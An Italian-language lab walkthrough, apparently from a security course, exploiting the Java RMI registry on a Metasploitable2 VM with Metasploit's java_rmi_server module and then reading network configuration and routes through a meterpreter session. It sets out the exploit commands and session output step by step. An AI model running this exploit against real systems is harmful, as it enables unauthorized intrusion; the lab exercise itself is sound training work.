Dopo aver configurato le macchine con i seguenti indirizzi IP: Kali(192.168.11.111), MS2(192.168.11.112); partiamo sempre facendo una scansione dei servizi attivi con nmap sulla macchina target.

```
1099/tcp open  java-rmi    GNU Classpath grmiregistry
```

Questo è il servizio che vogliamo exploitare, quindi apriamo msfconsole sulla kali e cerchiamo un exploit che possiamo utilizzare per sfruttare questa vulnerabilità; con il comando "search".

```
msf6 > use exploit/multi/misc/java_rmi_server
```

Con il comando "use" lo selezioniamo, con "options" invece controlliamo quali parametri devono essere configurati prima di far partire l'exploit.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS ⇒ 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set HTTPDELAY 20
HTTPDELAY ⇒ 20
msf6 exploit(multi/misc/java_rmi_server) > run
```

Questi i parametri da settare, quindi una volta configurato tutto a dovere facciamo partire l'exploit con "run".
Questa la configurazione di rete:

```
meterpreter > cat interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
        address 192.168.11.112
        netmask 255.255.255.0
        gateway 192.168.11.1
        dns-nameserver 192.168.11.1 8.8.8.8
```

Questa la tabella di routing:

```
meterpreter > route

IPv4 network routes
===================

    Subnet           Netmask        Gateway  Metric  Interface
    ------           -------        -------  ------  ---------
    127.0.0.1        255.0.0.0      0.0.0.0
    192.168.11.112   255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                    Netmask  Gateway  Metric  Interface
    ------                    -------  -------  ------  ---------
    ::1                       ::       ::
    fe80::a00:27ff:feab:5f45  ::       ::
```